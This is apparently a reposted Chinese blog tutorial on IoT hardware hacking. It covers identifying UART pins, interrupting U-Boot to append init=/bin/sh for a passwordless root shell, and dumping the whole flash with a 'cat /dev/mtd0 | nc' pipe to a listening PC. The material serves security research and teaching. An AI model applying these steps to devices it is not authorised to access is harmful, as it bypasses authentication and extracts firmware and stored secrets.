超简单的物联网渗透之UART接口与固件提取教程

admin 2026-01-23 12:10:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章手把手演示IoT设备UART渗透:用万用表识别无标识的VCC/GND/TX/RX,USB-TTL连入后调115200-9600波特率,趁U-Boot3秒倒计时打断启动,在bootargs尾部追加init=/bin/sh临时参数,mount-oremount,rw/后无密码获root,再用cat/dev/mtd0|nc把整片固件传回PC,完成从拆机到固件提取全流程 综合评分: 89 文章分类: IoT安全,内网渗透,渗透测试,安全工具,实战经验


cover_image

超简单的物联网渗透之UART接口与固件提取教程

原创

Zacarx Zacarx

Zacarx随笔

2026年1月22日 14:06 陕西

物理接口与固件提取是 IoT 安全最独特也最“硬核”的地方。下面我们来简单学习下如何拆解设备、寻找 UART调试接口并提取固件。

如果你喜欢这个文章请一键三连,我会按照文章的受欢迎程度来做相应的文章选题以及考虑会不会继续更新本系列文章。

UART

UART 不是像 HTTP/TCP 那样复杂的“软件协议”,它更像是一种“硬件摩斯密码”。

在 UART 线路(TTL 电平)上,信息就是 电压的高低

逻辑 1 (High):通常是 3.3V(或 5V)。

逻辑 0 (Low):通常是 0V(GND)。

空闲状态 (Idle):当没人说话时,线路上一直保持 高电平 (1)。这也是为什么你量电压时,TX 经常是 3.3V 的原因。

在 Web 安全里,你的目标通常是找到后台登录页面或者由 Webshell 获得的命令行界面。而在硬件世界里,UART 接口往往就是那个“开着门的 Root Shell”。开发者为了调试方便,经常会把系统控制台(Console)留在这个接口上。

如果你运气好,只要找到电路板上的这几根线,接上电脑,你可能直接就拥有了对设备的最高权限,连密码都不用破,或者说密码都是弱口令。

识别UART接口

要进行固件提取或获得 Shell,首先得在电路板上找到这扇“门”。UART 通常由 4 根线组成:

  1. VCC (电源)
  2. GND (地线)
  3. TX (发送 Transmit)
  4. RX (接收 Receive)

如下图所示,这也是最简单情况:

当然,他也有可能是这样子的:

有时候它们会被标记得很清楚(VCC, GND, RX, TX),但在生产用的设备上,为了不让黑客轻易发现,通常没有任何标记,或者只是 4 个看似无用的焊盘,这时我们可能要给客户买包利群请教一下(bushi。

当然,如果客户也不太清楚,找技术很麻烦,那咱自己也可以用万用表测一下,也非常简单其实:

首先,地线很好找,把万用表调到蜂鸣档,黑表笔接触电路板上巨大的金属件(比如 USB 接口的外壳、网口的外壳、SD 卡槽的金属盖),红表笔逐个去触碰那排未知的 4 个针脚,如果听到“滴——”的一声长响,那这根就是 GND。

下面,我们找电源,VCC 的电压通常是恒定的。我们给设备痛点把万用表调到 直流电压档 (DC 20V),黑表笔固定在刚才找到的 GND 上,红表笔去测剩下的 3 根针,如果发现读数稳定显示 3.3V 或 5V 且不跳变的,通常就是 VCC。标记它,然后永远不要连它(因为你的电脑和设备各自供电,不需要互连电源,这很危险的)。

最后,分辨 TX就行,设备启动时,会通过 TX 不停地向外吐启动日志(Boot log),所以它的电压会不断波动;而 RX 是在听,通常保持高电平(3.3V)不动。所以同理保持设备开启,黑表笔接 GND,观察剩下两根针的电压,电压在跳动(比如在 1.8V – 3.0V 之间乱跳)的那根,就是 TX,剩下的那就是RX了。

细节:设备刚上电启动时 TX 电压会跳动。如果设备已经启动完毕进入空闲状态,TX 也可能稳定在高电平不动

然后我们找个USB 转 TTL可以网上买个,链接如下GND-GND, RX-TX, TX-RX

然后我们打开minicom/PuTTY/Screen进行通信

当然如果你的屏幕显示的是一堆乱码,我们需要调节一下波特率

可以试试115200/57600 / 38400/9600, 9600工控用的蛮多的

如果都不行,那就连接逻辑分析仪自动识别波特率。

除此以外,我们还需要设置Data bits (数据位)、Parity (校验位)、Stop bits (停止位)

不过一般默认即可,99%的设备都是 Data bits = 8 、 Parity= none、Stop bits =1 (简称8N1)

此外Flow Control (流控):必须选 None / 关闭 否则你可能只能看不能写。

获取ROOT权限

如果这些你都解决了,那么你可以就直接得到ROOT权限了

如果需要密码,可以试试,一些弱口令啥的

如果都不行,我们可以试试下面这个办法:

路由器通电的瞬间,U-Boot 会先运行,初始化硬件。通常它会给你 1 到 3 秒 的时间来打断启动过程。

你会看到类似这样的提示:

Hit any key to stop autoboot: 3... 2... 1...

一定要在这个倒计时结束前,疯狂敲击回车键(或空格键)如果你成功了,滚动的日志会停下来,出现一个特殊的命令提示符,比如: ath> 或 Tenda> 或 U-Boot> 或简单的 =>

恭喜,你现在已经不是在跟操作系统对话了,你是在跟硬件底层引导程序对话。

输入命令:

printenv

这相当于 Web 里的“查看源码”。你会看到一堆变量,其中最关键的是 bootargs。这是传递给 Linux 内核的启动参数。

它看起来大概长这样(注意看 console 和 root 部分):

bootargs=console=ttyS0,115200 root=/dev/mtdblock2 rootfstype=squashfs ...

我们的目标是在这个字符串的末尾加上一段代码:init=/bin/sh

这段代码的意思是:告诉 Linux 内核,“启动完内核后,直接运行 /bin/sh 给我就行。”

操作方法:

  1. 复制 刚才 printenv 显示出来的整段 bootargs 的内容。
  2. 构造 新的设置命令。假设原来的内容是 OLD_CONTENT,你输入:
   setenv bootargs 'OLD_CONTENT init=/bin/sh'

举个例子(假设原来的 bootargs 很短):setenv bootargs 'console=ttyS0,115200 root=/dev/mtdblock2 init=/bin/sh'

绝对不要输入 saveenv 命令! 我们只想让这次修改在当前内存中生效(Temporary),不想永久修改闪存里的参数。

万一你输错了参数并且保存了,路由器下次就变砖了。只要不保存,重启后一切恢复原状,非常安全。

如果提示 /bin/sh 只有只读权限,可以尝试输入:

mount -o remount,rw /

修改完内存中的参数后,输入:

boot

或者

bootm

设备会继续启动,屏幕再次滚动日志。但是这一次,你会发现到了最后,并没有出现 Login: 提示符。

系统可能会停顿一下,然后直接显示:

/bin/sh: can't access tty; job control turned off
#whoami
root

恭喜你,你在没有密码的情况下,拿到了这台设备的最高权限

固件提取

既然已经拿到了 Shell,这是最简单的提取方式。

# #查看分区
#cat /proc/mtd
dev:    size   erasesize  name
mtd0: 01000000 00010000 "ALL"
mtd1: 00030000 00010000 "Bootloader"
mtd2: 00200000 00010000 "Kernel"
mtd3: 00dd0000 00010000 "RootFS"

其中 mtd0 通常代表整个闪存芯片的内容(Full Flash)。

既然我们是通过串口(UART)连进去的,那能不能通过网线传出来呢?当然可以。

电脑端(接收方): 先用网线把电脑和路由器的 LAN 口连起来,配置好 IP(假设电脑是 192.168.0.2)。 打开电脑的终端(Kali 或 Windows),使用 nc 听一个端口,准备接收数据:

nc -l -p 8888 > firmware_dump.bin

路由器端(发送方): 在刚才获取的 Root Shell 里输入:

cat /dev/mtd0 | nc 192.168.0.2 8888

现在,你就学会了物理识别 -> 避坑连线 -> 提权 Shell -> 导出固件


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Zacarx随笔 Zacarx Zacarx《超简单的物联网渗透之UART接口与固件提取教程》

评论:0   参与:  0